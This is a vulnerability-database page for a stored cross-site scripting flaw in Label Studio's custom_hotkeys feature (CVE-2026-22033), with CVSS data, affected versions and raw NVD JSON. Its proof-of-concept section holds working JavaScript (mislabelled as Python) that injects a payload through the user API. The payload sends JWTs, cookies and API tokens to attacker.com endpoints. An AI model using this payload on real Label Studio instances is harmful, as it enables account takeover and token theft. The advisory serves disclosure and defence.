Security Vulnerability Report
中文
CVE-2026-22033 CVSS 5.4 MEDIUM

CVE-2026-22033

Published: 2026-01-12 18:15:49
Last Modified: 2026-01-27 20:39:07

Description

Label Studio is a multi-type data labeling and annotation tool. In 1.22.0 and earlier, a persistent stored cross-site scripting (XSS) vulnerability exists in the custom_hotkeys functionality of the application. An authenticated attacker (or one who can trick a user/administrator into updating their custom_hotkeys) can inject JavaScript code that executes in other users’ browsers when those users load any page using the templates/base.html template. Because the application exposes an API token endpoint (/api/current-user/token) to the browser and lacks robust CSRF protection on some API endpoints, the injected script may fetch the victim’s API token or call token reset endpoints — enabling full account takeover and unauthorized API access.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:humansignal:label_studio:*:*:*:*:*:*:*:* - VULNERABLE
Label Studio < 1.22.0
Label Studio 1.22.0
Label Studio <= 1.22.0 (all earlier versions)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2026-22033 PoC - Label Studio Stored XSS in custom_hotkeys // This PoC demonstrates how to steal API token via stored XSS // Step 1: Inject malicious JavaScript via custom_hotkeys API const injectPayload = async (baseUrl, token) => { const maliciousHotkey = { custom_hotkeys: { '<img src=x onerror="fetch(`https://attacker.com/steal?token=${btoa(localStorage.getItem('jwt_token') || document.cookie)}`)">': {} } }; await fetch(`${baseUrl}/api/user-me`, { method: 'PATCH', headers: { 'Authorization': `Token ${token}`, 'Content-Type': 'application/json' }, body: JSON.stringify(maliciousHotkey) }); }; // Step 2: The injected script will execute when victim loads any page using base.html // Example XSS payload that steals token and sends to attacker server const xssPayload = ` <script> fetch('/api/current-user/token') .then(r => r.json()) .then(data => { // Exfiltrate token to attacker-controlled server new Image().src = 'https://attacker.com/log?token=' + btoa(data.token); // Optional: Use token for account takeover fetch('https://attacker.com/clone-account', { method: 'POST', body: JSON.stringify({token: data.token}) }); }); </script> `; // Step 3: Trigger via social engineering - trick victim to visit any page

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22033", "sourceIdentifier": "[email protected]", "published": "2026-01-12T18:15:48.837", "lastModified": "2026-01-27T20:39:07.483", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Label Studio is a multi-type data labeling and annotation tool. In 1.22.0 and earlier, a persistent stored cross-site scripting (XSS) vulnerability exists in the custom_hotkeys functionality of the application. An authenticated attacker (or one who can trick a user/administrator into updating their custom_hotkeys) can inject JavaScript code that executes in other users’ browsers when those users load any page using the templates/base.html template. Because the application exposes an API token endpoint (/api/current-user/token) to the browser and lacks robust CSRF protection on some API endpoints, the injected script may fetch the victim’s API token or call token reset endpoints — enabling full account takeover and unauthorized API access."}, {"lang": "es", "value": "Label Studio es una herramienta de etiquetado y anotación de datos de múltiples tipos. En 1.22.0 y versiones anteriores, existe una vulnerabilidad de cross-site scripting (XSS) persistente almacenado en la funcionalidad custom_hotkeys de la aplicación. Un atacante autenticado (o uno que pueda engañar a un usuario/administrador para que actualice sus custom_hotkeys) puede inyectar código JavaScript que se ejecuta en los navegadores de otros usuarios cuando esos usuarios cargan cualquier página utilizando la plantilla templates/base.html. Debido a que la aplicación expone un endpoint de token de API (/api/current-user/token) al navegador y carece de una protección CSRF robusta en algunos endpoints de API, el script inyectado puede obtener el token de API de la víctima o llamar a endpoints de restablecimiento de token — lo que permite la toma de control total de la cuenta y el acceso no autorizado a la API."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}, {"lang": "en", "value": "CWE-284"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:humansignal:label_studio:*:*:*:*:*:*:*:*", "versionEndIncluding": "1.22.0", "matchCriteriaId": "F483F4A6-2480-41F3-B530-13FF4F28EE3B"}]}]}], "references": [{"url": "https://github.com/HumanSignal/label-studio/commit/ea2462bf042bbf370b79445d02a205fbe547b505", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/HumanSignal/label-studio/pull/9084", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://github.com/HumanSignal/label-studio/security/advisories/GHSA-2mq9-hm29-8qch", "source": "[email protected]", "tags": ["Explo ... (truncated)